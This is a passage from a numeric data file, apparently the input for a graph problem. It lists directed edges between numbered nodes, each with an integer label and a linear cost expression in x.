16173\n33->78\t76\t54013*x + 1462\n9->43\t105\t45989*x + 5183\n59->11\t43\t47351*x + 6292\n32->36\t79\t20117*x + 2729\n33->25\t52\t70117*x + 2141\n34->27\t58\t43783*x + 2831\n6->92\t51\t41519*x + 7506\n52->8\t49\t22063*x + 6224\n51->73\t102\t15761*x + 2779\n50->52\t42\t97571*x + 10233\n99->32\t69\t43397*x + 6532\n0->28\t50\t86969*x + 11643\n83->20\t62\t44041*x + 6075\n4->52\t42\t307*x + 4611\n3->45\t13\t19609*x + 2653\n13->99\t54\t56131*x + 3431\n24->18\t80\t51197*x + 2383\n61->74\t55\t71023*x + 6646\n43->76\t124\t94687*x + 11592\n45->47\t90\t76387*x + 4995\n3->2\t72\t59009*x + 1087\n69->21\t9\t40949*x + 7292\n66->83\t12\t41621*x + 4686\n68->19\t61\t31277*x + 7030\n56->80\t110\t104179*x + 12687\n40->10\t46\t47737*x + 5227\n39->27\t58\t49957*x + 3742\n91->32\t69\t103811*x + 14171\n90->25\t52\t81559*x + 389\n60->57\t109\t33751*x + 776\n1->86\t53\t82279*x + 600\n55->17\t104\t43481*x + 1352\n3->61\t10\t55987*x + 7590\n30->95\t111\t25343*x + 7155\n53->2\t72\t87407*x + 10967\n24->41\t73\t21673*x + 2509\n71->89\t107\t100393*x + 11177\n31->96\t67\t2789*x + 3284\n5->79\t100\t36847*x + 1525\n87->7\t126\t84761*x + 13108\n93->46\t74\t34421*x + 2247\n52->25\t52\t12689*x + 5815\n22->34\t41\t37321*x + 4470\n96->23\t11\t63467*x + 8109\n25->5\t82\t7351*x + 4026\n96->72\t92\t37993*x + 7358\n50->76\t124\t12241*x + 6485\n93->18\t80\t40169*x + 5128\n20->94\t125\t50753*x + 3896\n32->41\t73\t14747*x + 6274\n17->31\t47\t21617*x + 7076\n77->57\t109\t9419*x + 3997\n78->50\t116\t19471*x + 1411\n52->85\t83\t52529*x + 1783\n98->99\t54\t82373*x + 5870\n5->53\t120\t60383*x + 7852\n67->65\t95\t7507*x + 2636\n51->94\t125\t27407*x + 3362\n16->89\t107\t20231*x + 1933\n94->16\t66\t18743*x + 3136\n84->35\t88\t71537*x + 2698\n65->71\t37\t7229*x + 4991\n48->5\t82\t5333*x + 977\n48->17\t104\t66071*x + 4934\n67->87\t121\t31063*x + 196\n4->5\t82\t47419*x + 5239\n96->15\t63\t71597*x + 993\n10->47\t90\t98317*x + 16302\n70->46\t74\t7121*x + 4223\n95->35\t88\t2063*x + 4306\n51->52\t42\t63103*x + 6635\n79->72\t92\t39251*x + 702\n98->29\t38\t54361*x + 7496\n75->37\t114\t73589*x + 5990\n86->9\t115\t75557*x + 7391\n85->44\t45\t40627*x + 969\n13->78\t76\t58057*x + 3855\n75->41\t73\t84589*x + 16209\n93->58\t35\t102061*x + 8467\n71->96\t67\t56531*x + 7863\n84->55\t39\t74167*x + 8025\n24->1\t112\t102701*x + 12413\n19->37\t114\t1487*x + 4926\n90->11\t43\t60373*x + 2177\n57->29\t38\t88379*x + 15635\n83->11\t43\t58997*x + 3747\n35->4\t48\t20369*x + 7438\n74->37\t114\t27653*x + 6909\n48->22\t64\t11119*x + 3679\n30->35\t88\t90631*x + 9419\n72->84\t89\t7723*x + 1283\n32->11\t43\t74201*x + 5693\n34->33\t122\t72937*x + 3033\n62->33\t122\t100237*x + 13776\n83->85\t83\t16139*x + 3246\n14->48\t78\t74729*x + 2864\n55->94\t125\t57041*x + 2121\n86->15\t63\t74623*x + 887\n99->52\t42\t34877*x + 1731\n48->86\t53\t13831*x + 6323\n39->36\t79\t89983*x + 15135\n25->38\t75\t82469*x + 5038\n58->74\t55\t33617*x + 6134\n97->84\t89\t82609*x + 509\n82->51\t97\t101183*x + 13138\n69->3\t118\t10657*x + 6880\n61->25\t52\t81299*x + 3415\n69->51\t97\t41411*x + 1139\n74->29\t38\t20269*x + 315\n77->89\t107\t64601*x + 5887\n36->26\t81\t70321*x + 2951\n96->41\t73\t26693*x + 6209\n64->96\t67\t821*x + 66\n65->44\t45\t4733*x + 7416\n98->47\t90\t101603*x + 13933\n53->38\t75\t46199*x + 4508\n19->31\t47\t29429*x + 7623\n83->78\t76\t61987*x + 4721\n24->53\t120\t99119*x + 15678\n71->80\t110\t69317*x + 5223\n87->54\t94\t75641*x + 2080\n32->29\t38\t93979*x + 8839\n79->11\t43\t29567*x + 3545\n70->55\t39\t55381*x + 5606\n44->82\t40\t64871*x + 4577\n48->37\t114\t62989*x + 1503\n5->10\t46\t3583*x + 8093\n13->52\t42\t37957*x + 7069\n97->19\t61\t50273*x + 5443\n63->4\t48\t24049*x + 3434\n4->72\t92\t92893*x + 10893\n32->58\t35\t61291*x + 626\n42->62\t103\t12379*x + 2041\n48->74\t55\t92831*x + 9348\n56->23\t11\t100549*x + 13176\n26->10\t46\t68543*x + 5913\n21->39\t113\t41149*x + 71\n77->16\t66\t53993*x + 6460\n32->78\t76\t85837*x + 9522\n45->12\t101\t57881*x + 87\n96->82\t40\t18353*x + 5938\n65->49\t68\t95857*x + 10620\n55->82\t40\t34883*x + 7955\n74->32\t69\t13477*x + 2146\n67->24\t65\t59197*x + 2722\n58->73\t102\t69539*x + 2231\n6->72\t92\t42299*x + 5630\n79->76\t124\t97613*x + 9294\n7->61\t10\t27487*x + 7242\n11->67\t117\t95003*x + 10863\n9->81\t32\t95153*x + 8727\n36->77\t106\t18257*x + 4941\n59->21\t9\t31153*x + 1175\n18->36\t79\t97081*x + 11342\n73->86\t53\t23929*x + 4426\n18->12\t101\t77867*x + 4402\n10->15\t63\t27617*x + 1845\n31->52\t42\t64591*x + 5684\n80->43\t105\t40253*x + 7562\n20->14\t77\t41521*x + 1871\n16->39\t113\t17807*x + 3568\n72->88\t71\t98519*x + 11526\n35->77\t106\t102797*x + 8359\n98->15\t63\t100823*x + 11109\n15->79\t100\t1319*x + 1841\n54->9\t115\t64171*x + 4076\n83->32\t69\t99469*x + 16326\n55->98\t93\t54493*x + 4044\n97->5\t82\t53327*x + 6813\n45->62\t103\t10343*x + 5472\n98->2\t72\t6173*x + 149\n0->43\t105\t20543*x + 2317\n72->66\t44\t59753*x + 5257\n98->45\t13\t85523*x + 10315\n66->17\t104\t83563*x + 1904\n96->91\t91\t44809*x + 2244\n73->94\t125\t36343*x + 6120\n78->42\t87\t22391*x + 158\n44->30\t96\t61981*x + 8149\n17->63\t60\t102763*x + 9477\n45->56\t119\t86371*x + 10536\n16->83\t12\t75937*x + 5705\n38->67\t117\t86179*x + 9583\n65->19\t61\t88001*x + 9474\n75->42\t87\t54293*x + 5012\n39->51\t97\t2617*x + 7197\n82->25\t52\t88289*x + 9060\n90->93\t98\t76777*x + 550\n59->47\t90\t16729*x + 2070\n42->76\t124\t31511*x + 7950\n57->88\t71\t91499*x + 14926\n45->84\t89\t21187*x + 4505\n91->4\t48\t62801*x + 1142\n18->91\t91\t96553*x + 13998\n1->81\t32\t24133*x + 7160\n4->60\t85\t79867*x + 1766\n43->55\t39\t59119*x + 4338\n79->48\t78\t53731*x + 6029\n29->14\t77\t95539*x + 9163\n47->65\t95\t62549*x + 145\n13->40\t34\t41057*x + 7666\n66->16\t66\t91097*x + 16116\n77->63\t60\t8747*x + 7672\n45->17\t104\t44621*x + 720\n77->53\t120\t43591*x + 4540\n88->94\t125\t43793*x + 5060\n60->87\t121\t36529*x + 6035\n6->41\t73\t56467*x + 4906\n32->99\t54\t29629*x + 4241\n81->11\t43\t82963*x + 4004\n0->46\t74\t28789*x + 3632\n39->40\t34\t100801*x + 12788\n72->0\t33\t45631*x + 6218\n96->74\t55\t75401*x + 2322\n40->86\t53\t76757*x + 420\n30->38\t75\t71887*x + 7489\n58->98\t93\t52711*x + 4005\n35->58\t35\t90401*x + 15801\n8->55\t39\t67409*x + 132\n32->8\t49\t63863*x + 1625\n46->77\t106\t43499*x + 2199\n3->7\t126\t26119*x + 2132\n88->15\t63\t18041*x + 5256\n15->74\t55\t79777*x + 7273\n48->88\t71\t98573*x + 12963\n61->62\t103\t23201*x + 1954\n0->98\t93\t42967*x + 5023\n16->48\t78\t89939*x + 14533\n63->70\t57\t81937*x + 4820\n64->69\t59\t93323*x + 13500\n34->39\t113\t87539*x + 9354\n93->19\t61\t16193*x + 3917\n17->12\t101\t72307*x + 4250\n29->21\t9\t66373*x + 1960\n56->64\t70\t3517*x + 3255\n55->36\t79\t98213*x + 10784\n90->28\t50\t68993*x + 6130\n54->44\t45\t32063*x + 2879\n24->39\t113\t87811*x + 9456\n25->99\t54\t2903*x + 7221\n3->21\t9\t35569*x + 405\n49->66\t44\t48029*x + 7601\n98->62\t103\t83401*x + 1188\n24->81\t32\t76163*x + 6631\n2->29\t38\t49853*x + 4907\n99->46\t74\t88079*x + 15886\n49->48\t78\t27449*x + 1163\n61->6\t123\t20441*x + 2725\n69->57\t109\t47639*x + 4369\n70->79\t100\t197*x + 5413\n76->34\t41\t104459*x + 15314\n65->30\t96\t38281*x + 885\n81->56\t119\t55547*x + 5057\n68->47\t90\t37831*x + 3593\n69->8\t49\t43543*x + 740\n53->54\t94\t40037*x + 7406\n70->35\t88\t89603*x + 13284\n66->72\t92\t55313*x + 4994\n43->59\t84\t18793*x + 6834\n31->93\t98\t37643*x + 5330\n3->85\t83\t98807*x + 13714\n14->45\t13\t96731*x + 13039\n80->15\t63\t25423*x + 2185\n61->92\t51\t32183*x + 2050\n37->43\t105\t88513*x + 11286\n36->63\t60\t4111*x + 4130\n40->80\t110\t56843*x + 2907\n6->56\t119\t50551*x + 4584\n47->74\t55\t1303*x + 1721\n99->17\t104\t57139*x + 5534\n6->58\t35\t72161*x + 6085\n8->71\t37\t11939*x + 4751\n95->25\t52\t63853*x + 4248\n7->9\t115\t12889*x + 6398\n16->53\t120\t68521*x + 4730\n57->20\t62\t16253*x + 1522\n63->81\t32\t9461*x + 7016\n79->81\t32\t21277*x + 6107\n14->24\t65\t55589*x + 3628\n72->73\t102\t49613*x + 5072\n91->59\t84\t78517*x + 3573\n30->23\t11\t90239*x + 13510\n26->97\t108\t79133*x + 31\n8->13\t99\t70981*x + 6509\n47->17\t104\t75679*x + 1568\n35->29\t38\t9829*x + 2563\n15->62\t103\t44549*x + 7144\n96->12\t101\t45131*x + 5483\n8->80\t110\t63559*x + 3092\n39->86\t53\t23269*x + 7835\n36->22\t64\t86929*x + 16020\n35->45\t13\t5483*x + 6197\n69->19\t61\t99559*x + 11270\n50->6\t123\t15107*x + 3132\n67->26\t81\t62171*x + 7784\n53->97\t108\t17627*x + 5959\n77->56\t119\t5087*x + 742\n99->51\t97\t9689*x + 175\n73->18\t80\t83641*x + 5826\n21->15\t63\t91771*x + 13789\n38->22\t64\t18539*x + 7938\n56->86\t53\t383*x + 6517\n38->70\t57\t75269*x + 6275\n93->43\t105\t26161*x + 1022\n69->24\t65\t23993*x + 3046\n31->75\t56\t99139*x + 11596\n97->11\t43\t79901*x + 866\n46->62\t103\t911*x + 5674\n40->24\t65\t75209*x + 1177\n10->32\t69\t95791*x + 10232\n98->37\t114\t99367*x + 10380\n47->56\t119\t73727*x + 6276\n55->70\t57\t27767*x + 5216\n7->12\t101\t75967*x + 5621\n80->95\t111\t58789*x + 2855\n28->34\t41\t19249*x + 8023\n19->38\t75\t93941*x + 12511\n88->13\t99\t58369*x + 6621\n91->96\t67\t31337*x + 7219\n62->75\t56\t46337*x + 3345\n37->70\t57\t102667*x + 9531\n89->49\t68\t62131*x + 3307\n46->87\t121\t78877*x + 3051\n13->86\t53\t73897*x + 2522\n0->70\t57\t5527*x + 752\n0->60\t85\t51193*x + 6372\n55->16\t66\t43427*x + 4495\n92->18\t80\t55663*x + 6567\n48->38\t75\t50993*x + 1418\n58->7\t126\t34819*x + 5578\n53->69\t59\t82141*x + 6650\n51->20\t62\t67699*x + 3938\n48->81\t32\t17749*x + 1964\n72->87\t121\t70003*x + 718\n30->46\t74\t12503*x + 6472\n74->93\t98\t41549*x + 3072\n25->85\t83\t11149*x + 4922\n49->54\t94\t42019*x + 1946\n63->15\t63\t46507*x + 4287\n27->45\t13\t65357*x + 7448\n2->34\t41\t31883*x + 3207\n35->63\t60\t23767*x + 6251\n57->41\t73\t99529*x + 9285\n70->0\t33\t41413*x + 7239\n88->84\t89\t101987*x + 13774\n87->60\t85\t69379*x + 1973\n30->27\t58\t4409*x + 6468\n59->79\t100\t59207*x + 22\n68->13\t99\t61417*x + 7732\n57->32\t69\t26437*x + 6013\n38->20\t62\t3361*x + 1578\n64->11\t43\t47807*x + 4139\n50->85\t83\t41243*x + 7683\n75->26\t81\t89227*x + 13262\n6->82\t40\t24889*x + 4480\n61->71\t37\t71387*x + 7998\n99->59\t84\t967*x + 217\n68->79\t100\t61609*x + 7278\n75->68\t36\t2953*x + 5763\n16->45\t13\t39181*x + 1924\n50->28\t50\t30697*x + 3332\n3->17\t104\t98377*x + 16222\n16->13\t99\t22271*x + 5468\n34->30\t96\t75979*x + 3849\n97->72\t92\t8803*x + 7234\n45->72\t92\t28283*x + 5172\n71->91\t91\t98711*x + 9719\n13->25\t52\t93151*x + 9140\n0->2\t72\t84457*x + 16380\n39->97\t108\t61471*x + 5672\n33->65\t95\t70867*x + 2555\n99->73\t102\t46889*x + 1290\n42->7\t126\t103867*x + 15802\n74->76\t124\t1973*x + 7882\n83->31\t47\t75403*x + 4681\n9->24\t65\t21911*x + 4481\n91->3\t118\t70079*x + 1067\n33->10\t46\t6991*x + 1530\n66->2\t72\t77719*x + 6334\n82->38\t75\t57119*x + 7933\n93->53\t120\t58579*x + 3680\n81->60\t85\t28019*x + 2652\n63->73\t102\t52583*x + 5313\n39->98\t93\t17317*x + 3907\n40->36\t79\t73091*x + 4822\n12->75\t56\t84961*x + 8366\n85->25\t52\t82039*x + 5184\n86->47\t90\t3203*x + 3536\n7->40\t34\t76919*x + 1333\n7->20\t62\t10847*x + 6206\n88->50\t116\t94597*x + 12353\n83->25\t52\t74357*x + 2592\n88->81\t32\t51047*x + 5799\n18->78\t76\t93997*x + 9653\n37->23\t11\t58129*x + 4358\n15->93\t98\t28573*x + 2238\n39->7\t126\t42473*x + 848\n5->51\t97\t86201*x + 15181\n63->22\t64\t7109*x + 4909\n59->88\t71\t48313*x + 2390\n81->75\t56\t20147*x + 7248\n99->30\t96\t101807*x + 15260\n64->25\t52\t95801*x + 8425\n93->81\t32\t20627*x + 4034\n67->10\t46\t17239*x + 4264\n87->30\t96\t29663*x + 723\n26->9\t115\t20959*x + 6703\n75->6\t123\t5441*x + 7569\n14->54\t94\t81967*x + 4829\n23->36\t79\t30119*x + 6368\n42->88\t71\t83009*x + 7813\n61->65\t95\t11287*x + 5939\n90->44\t45\t20773*x + 5033\n12->89\t107\t1097*x + 260\n23->29\t38\t27799*x + 6227\n57->86\t53\t45293*x + 3940\n88->40\t34\t9769*x + 6724\n94->38\t75\t40289*x + 93\n96->0\t33\t86441*x + 13925\n71->92\t51\t55933*x + 2624\n87->40\t34\t74933*x + 473\n5->78\t76\t10259*x + 6173\n5->6\t123\t8831*x + 2789\n16->67\t117\t83299*x + 2954\n60->16\t66\t72169*x + 5314\n73->36\t79\t71663*x + 6714\n17->27\t58\t9137*x + 5717\n52->54\t94\t35531*x + 5619\n96->27\t58\t90263*x + 12245\n43->37\t114\t42787*x + 724\n82->81\t32\t70537*x + 1021\n23->49\t68\t66463*x + 1305\n83->54\t94\t66683*x + 2580\n40->72\t92\t84967*x + 14316\n10->58\t35\t32653*x + 1543\n77->44\t45\t84481*x + 11244\n50->24\t65\t57149*x + 6636\n94->8\t49\t100267*x + 13052\n22->24\t65\t13043*x + 2017\n73->57\t109\t69827*x + 250\n74->89\t107\t33353*x + 7640\n38->97\t108\t7853*x + 4093\n54->51\t97\t102533*x + 16038\n49->82\t40\t59779*x + 6779\n5->90\t86\t45553*x + 3401\n7->48\t78\t51449*x + 3038\n36->81\t32\t49531*x + 6756\n98->75\t56\t72047*x + 2255\n23->90\t86\t79973*x + 5064\n20->82\t40\t32089*x + 2389\n78->26\t81\t13537*x + 1862\n72->36\t79\t46853*x + 4818\n10->98\t93\t6857*x + 5664\n92->22\t64\t12289*x + 4340\n92->89\t107\t12473*x + 7006\n90->52\t42\t12979*x + 6463\n37->98\t93\t85847*x + 9700\n33->86\t53\t63317*x + 3096\n30->82\t40\t42463*x + 3594\n33->44\t45\t35141*x + 5724\n22->25\t52\t102503*x + 9464\n31->67\t117\t96857*x + 11902\n26->49\t68\t8369*x + 2354\n42->81\t32\t103723*x + 10803\n11->60\t85\t53407*x + 1234\n46->54\t94\t21839*x + 4087\n46->88\t71\t32341*x + 1123\n67->96\t67\t85121*x + 11468\n20->72\t92\t3529*x + 7253\n84->60\t85\t26321*x + 7768\n13->32\t69\t53917*x + 4200\n27->1\t112\t23327*x + 1002\n49->37\t114\t4783*x + 3979\n29->4\t48\t2099*x + 3060\n19->61\t10\t35933*x + 3470\n17->49\t68\t65371*x + 756\n4->42\t87\t95617*x + 8283\n16->72\t92\t10169*x + 1831\n34->63\t60\t29023*x + 6629\n30->97\t108\t70381*x + 5767\n38->49\t68\t61027*x + 3121\n72->39\t113\t86027*x + 16216\n60->58\t35\t76259*x + 3449\n84->27\t58\t76673*x + 1382\n45->79\t100\t23459*x + 6438\n24->12\t101\t11423*x + 7138\n98->31\t47\t7433*x + 7286\n25->81\t32\t75391*x + 6062\n22->98\t93\t92489*x + 15146\n49->89\t107\t40387*x + 2341\n99->48\t78\t46399*x + 662\n84->50\t116\t71993*x + 2467\n19->83\t12\t92941*x + 9401\n19->5\t82\t94291*x + 10529\n56->30\t96\t86629*x + 10875\n24->46\t74\t82759*x + 7942\n74->4\t48\t34327*x + 643\n80->21\t9\t25307*x + 2627\n23->69\t59\t94447*x + 12589\n18->35\t88\t47269*x + 1514\n50->57\t109\t84857*x + 8905\n51->55\t39\t92861*x + 8611\n26->77\t106\t97883*x + 15401\n47->46\t74\t2909*x + 5439\n67->46\t74\t77489*x + 2679\n46->8\t49\t98297*x + 8922\n34->68\t36\t40129*x + 2717\n79->50\t116\t58687*x + 5004\n29->3\t118\t6761*x + 6456\n29->98\t93\t10939*x + 3461\n74->97\t108\t95869*x + 13387\n14->10\t46\t37013*x + 6007\n16->50\t116\t53117*x + 2922\n63->2\t72\t9973*x + 6061\n69->98\t93\t82723*x + 162\n61->3\t118\t31847*x + 4901\n90->17\t104\t19433*x + 7561\n20->9\t115\t37813*x + 3686\n97->3\t118\t51859*x + 3184\n38->89\t107\t36997*x + 3738\n92->69\t59\t78977*x + 7796\n0->35\t88\t53831*x + 5798\n31->44\t45\t62201*x + 5303\n47->95\t111\t59281*x + 4556\n76->41\t73\t100501*x + 15014\n14->47\t90\t98123*x + 14927\n6->43\t105\t67511*x + 2274\n12->59\t84\t5303*x + 347\n15->33\t122\t72661*x + 4202\n22->62\t103\t65269*x + 6293\n51->63\t60\t46901*x + 5863\n30->78\t76\t52951*x + 2334\n20->69\t59\t19777*x + 3608\n1->84\t89\t7901*x + 251\n70->27\t58\t2633*x + 705\n24->73\t102\t27779*x + 5350\n48->27\t58\t70979*x + 310\n65->41\t73\t4567*x + 7563\n86->13\t99\t87403*x + 12444\n34->47\t90\t32377*x + 458\n2->45\t13\t37277*x + 6147\n23->83\t12\t75991*x + 57\n32->76\t124\t81707*x + 3629\n14->20\t62\t24443*x + 4132\n54->25\t52\t15077*x + 5193\n59->28\t50\t60257*x + 6337\n31->6\t123\t80809*x + 6199\n7->71\t37\t25303*x + 6624\n38->5\t82\t78691*x + 4538\n17->86\t53\t96527*x + 14035\n17->71\t37\t52237*x + 4993\n19->47\t90\t10313*x + 2761\n87->13\t99\t36599*x + 5889\n9->47\t90\t90247*x + 12816\n68->0\t33\t5501*x + 3521\n46->38\t75\t26347*x + 7021\n85->86\t53\t67217*x + 6746\n69->85\t83\t13099*x + 1971\n36->83\t12\t20939*x + 6502\n26->24\t65\t35839*x + 2901\n31->4\t48\t64067*x + 6882\n77->83\t12\t45083*x + 1539\n90->43\t105\t24943*x + 1988\n1->50\t116\t29411*x + 839\n74->52\t42\t86693*x + 15602\n23->27\t58\t38561*x + 3616\n96->76\t124\t60601*x + 2052\n65->81\t32\t11971*x + 6431\n43->70\t57\t24593*x + 5708\n92->92\t51\t82561*x + 6050\n63->38\t75\t12197*x + 8143\n34->20\t62\t101221*x + 13351\n67->19\t61\t60101*x + 3931\n25->86\t53\t44371*x + 4534\n57->48\t78\t4241*x + 213\n78->83\t12\t57787*x + 3187\n43->9\t115\t19141*x + 484\n51->87\t121\t26459*x + 6414\n23->10\t46\t81761*x + 302\n18->53\t120\t25747*x + 5976\n58->47\t90\t25969*x + 7158\n5->91\t91\t38393*x + 5281\n79->4\t48\t68819*x + 2866\n78->33\t122\t48271*x + 3237\n13->65\t95\t70627*x + 343\n94->45\t13\t90407*x + 13483\n5->44\t45\t90529*x + 13481\n22->55\t39\t22247*x + 4408\n79->22\t64\t4259*x + 5277\n26->89\t107\t17389*x + 3027\n12->52\t42\t90359*x + 11314\n14->25\t52\t71237*x + 7125\n93->24\t65\t14591*x + 4377\n94->59\t84\t70141*x + 1323\n17->3\t118\t97151*x + 8258\n2->12\t101\t82219*x + 7001\n8->63\t60\t21773*x + 1745\n11->28\t50\t66541*x + 6049\n65->69\t59\t51239*x + 6400\n12->22\t64\t23819*x + 4582\n94->20\t62\t73013*x + 2888\n26->45\t13\t85091*x + 15018\n83->18\t80\t68909*x + 6697\n56->48\t78\t5081*x + 7480\n58->49\t68\t40151*x + 7690\n53->67\t117\t75703*x + 7730\n51->81\t32\t51599*x + 3267\n22->80\t110\t73693*x + 5473\n15->85\t83\t81971*x + 113\n30->49\t68\t74959*x + 1702\n2->30\t96\t88241*x + 9830\n47->24\t65\t91867*x + 14549\n16->30\t96\t96749*x + 14013\n6->31\t47\t96823*x + 9304\n98->9\t115\t75709*x + 1852\n49->8\t49\t69499*x + 3762\n85->78\t76\t70111*x + 1818\n36->45\t13\t85381*x + 11552\n40->43\t105\t68023*x + 7346\n85->68\t36\t23473*x + 5458\n84->98\t93\t87037*x + 16282\n86->83\t12\t95383*x + 12284\n45->23\t11\t51853*x + 3158\n69->42\t87\t26561*x + 3079\n12->73\t102\t10949*x + 6090\n6->62\t103\t31567*x + 3798\n71->49\t68\t9377*x + 1484\n87->11\t43\t33331*x + 4736\n60->0\t33\t92593*x + 11190\n91->64\t70\t51749*x + 2997\n97->96\t67\t94841*x + 9858\n77->22\t64\t28729*x + 7804\n20->60\t85\t48193*x + 7618\n93->74\t55\t19001*x + 2268\n81->99\t54\t72383*x + 8077\n94->57\t109\t63097*x + 2207\n17->52\t42\t31699*x + 1025\n73->99\t54\t63659*x + 6961\n36->40\t34\t74353*x + 5417\n88->69\t59\t32833*x + 7097\n7->11\t43\t65027*x + 1601\n75->5\t82\t73823*x + 5387\n35->39\t113\t93911*x + 13803\n72->11\t43\t8783*x + 1806\n80->39\t113\t59351*x + 7881\n86->59\t84\t40853*x + 2359\n29->84\t89\t99661*x + 8418\n10->24\t65\t37561*x + 3298\n78->73\t102\t83869*x + 2936\n93->1\t112\t35797*x + 4548\n91->31\t47\t40787*x + 3447\n93->76\t124\t87541*x + 13525\n28->40\t34\t101749*x + 10044\n25->69\t59\t22189*x + 7198\n16->99\t54\t25583*x + 5446\n34->53\t120\t95203*x + 15722\n79->33\t122\t15641*x + 1934\n29->34\t41\t22691*x + 1615\n88->27\t58\t80557*x + 965\n22->85\t83\t45751*x + 147\n24->51\t97\t104399*x + 10699\n3->20\t62\t41491*x + 3693\n67->11\t43\t45557*x + 7937\n51->47\t90\t82139*x + 6842\n59->13\t99\t39301*x + 5086\n38->15\t63\t50383*x + 3266\n76->45\t13\t72883*x + 1084\n1->73\t102\t42727*x + 291\n81->10\t46\t78049*x + 4442\n88->92\t51\t25873*x + 2753\n6->78\t76\t20411*x + 3389\n23->86\t53\t102611*x + 10539\n58->58\t35\t21929*x + 5996\n58->83\t12\t11519*x + 557\n62->19\t61\t102079*x + 12006\n28->41\t73\t21499*x + 561\n57->74\t55\t41897*x + 97\n72->5\t82\t7487*x + 6376\n47->82\t40\t87679*x + 15265\n16->47\t90\t100391*x + 14475\n2->97\t108\t4421*x + 2400\n67->25\t52\t68239*x + 2644\n17->16\t66\t28541*x + 5726\n55->45\t13\t71899*x + 1423\n85->28\t50\t29297*x + 4071\n44->7\t126\t4957*x + 2967\n14->58\t35\t84913*x + 10583\n22->35\t88\t14821*x + 3154\n93->44\t45\t52543*x + 7944\n30->29\t38\t46997*x + 1046\n69->61\t10\t77783*x + 3196\n68->31\t47\t60953*x + 2163\n19->2\t72\t52081*x + 1421\n27->35\t88\t83717*x + 1473\n4->99\t54\t44203*x + 7111\n37->1\t112\t37861*x + 273\n8->12\t101\t2503*x + 1917\n41->52\t42\t5021*x + 5776\n83->9\t115\t19309*x + 1128\n78->3\t118\t21347*x + 4355\n77->3\t118\t18917*x + 59\n83->76\t124\t81199*x + 6505\n60->39\t113\t92821*x + 11291\n80->66\t44\t97169*x + 16065\n69->41\t73\t44507*x + 6796\n10->53\t120\t36527*x + 6008\n67->33\t122\t9677*x + 7658\n76->26\t81\t76507*x + 1977\n27->16\t66\t27127*x + 7509\n37->54\t94\t13441*x + 1320\n49->0\t33\t66587*x + 5660\n25->68\t36\t6883*x + 3695\n7->76\t124\t56453*x + 6219\n74->65\t95\t4327*x + 5070\n52->64\t70\t88661*x + 13566\n20->6\t123\t11047*x + 2812\n97->89\t107\t41539*x + 7968\n7->14\t77\t35977*x + 193\n50->21\t9\t19841*x + 1057\n99->44\t45\t92431*x + 15107\n29->24\t65\t87691*x + 12017\n96->79\t100\t102233*x + 15228\n9->44\t45\t9679*x + 7927\n30->79\t100\t28001*x + 2169\n20->57\t109\t65033*x + 4274\n21->59\t84\t19937*x + 3644\n18->94\t125\t24281*x + 1710\n30->84\t89\t70457*x + 298\n45->71\t37\t57719*x + 4519\n97->60\t85\t59369*x + 7062\n52->10\t46\t23873*x + 4151\n29->81\t32\t14197*x + 6761\n44->46\t74\t3373*x + 1152\n21->54\t94\t61379*x + 5894\n95->71\t37\t87293*x + 9548\n36->54\t94\t48311*x + 1433\n1->96\t67\t7673*x + 3828\n33->81\t32\t90371*x + 10086\n11->83\t12\t28949*x + 2038\n54->40\t34\t92033*x + 10370\n71->76\t124\t101741*x + 11366\n1->28\t50\t17597*x + 3544\n66->29\t38\t89563*x + 8365\n65->9\t115\t35597*x + 5525\n68->28\t50\t62047*x + 675\n63->97\t108\t56039*x + 3909\n2->57\t109\t76231*x + 2051\n10->44\t45\t17477*x + 5369\n25->46\t74\t37363*x + 4383\n48->63\t60\t25321*x + 5081\n70->87\t121\t27529*x + 3974\n97->10\t46\t64621*x + 5897\n35->52\t42\t65053*x + 3163\n20->73\t102\t50627*x + 2840\n49->68\t36\t52067*x + 6452\n19->49\t68\t90469*x + 9400\n92->17\t104\t71711*x + 5083\n33->80\t110\t69151*x + 5246\n98->39\t113\t63671*x + 7176\n78->81\t32\t101197*x + 10191\n31->16\t66\t4993*x + 2904\n61->14\t77\t27197*x + 3040\n87->74\t55\t57899*x + 3647\n95->72\t92\t62323*x + 4640\n54->63\t60\t46633*x + 711\n43->46\t74\t26717*x + 807\n58->65\t95\t593*x + 6309\n79->43\t105\t97967*x + 16377\n63->19\t61\t38011*x + 6428\n86->36\t79\t62011*x + 5316\n30->45\t13\t14303*x + 1798\n82->52\t42\t21011*x + 1303\n28->90\t86\t101611*x + 15921\n6->3\t118\t41341*x + 3411\n81->69\t59\t15259*x + 5092\n60->89\t107\t64081*x + 4595\n44->31\t47\t38873*x + 6346\n29->72\t92\t6133*x + 5994\n74->82\t40\t28429*x + 3481\n68->74\t55\t49081*x + 6180\n87->92\t51\t97547*x + 12068\n63->63\t60\t39293*x + 3313\n90->29\t38\t70783*x + 1552\n13->4\t48\t55243*x + 7582\n89->66\t44\t95191*x + 14536\n90->6\t123\t60649*x + 1637\n47->3\t118\t653*x + 3140\n17->53\t120\t7417*x + 6965\n33->58\t35\t36919*x + 3053\n39->62\t103\t80897*x + 7264\n91->7\t126\t33749*x + 4117\n52->39\t113\t23831*x + 5341\n15->61\t10\t70423*x + 5730\n73->8\t49\t101027*x + 13557\n41->80\t110\t67453*x + 4724\n12->68\t36\t19139*x + 7624\n54->28\t50\t60107*x + 4910\n83->53\t120\t10163*x + 1436\n16->16\t66\t68539*x + 130\n15->90\t86\t14621*x + 153\n5->15\t63\t12899*x + 2836\n95->19\t61\t90787*x + 10242\n43->36\t79\t9319*x + 8054\n75->71\t37\t87251*x + 15992\n49->4\t48\t65789*x + 4344\n76->32\t69\t38993*x + 3403\n80->60\t85\t6599*x + 1903\n80->88\t71\t5827*x + 6246\n80->18\t80\t50543*x + 4851\n47->92\t51\t102653*x + 14569\n32->21\t9\t13807*x + 4801\n50->30\t96\t5507*x + 3170\n64->37\t114\t72923*x + 6921\n11->94\t125\t43753*x + 4178\n66->99\t54\t59863*x + 850\n75->29\t38\t99401*x + 9194\n89->70\t57\t48481*x + 3492\n9->8\t49\t29803*x + 865\n87->44\t45\t84199*x + 10474\n63->23\t11\t32069*x + 4803\n67->99\t54\t93059*x + 13274\n40->73\t102\t89*x + 365\n47->44\t45\t47933*x + 6341\n93->95\t111\t83311*x + 3597\n46->72\t92\t19687*x + 4216\n41->64\t70\t2141*x + 7289\n56->29\t38\t10709*x + 8182\n77->12\t101\t43313*x + 6232\n0->1\t112\t65837*x + 6391\n2->87\t121\t24407*x + 7858\n14->78\t76\t48473*x + 1297\n20->64\t70\t48479*x + 1476\n97->70\t57\t1669*x + 3636\n93->31\t47\t46457*x + 5482\n73->31\t47\t61547*x + 4010\n43->49\t68\t22571*x + 3968\n96->90\t86\t94889*x + 12890\n91->18\t80\t15551*x 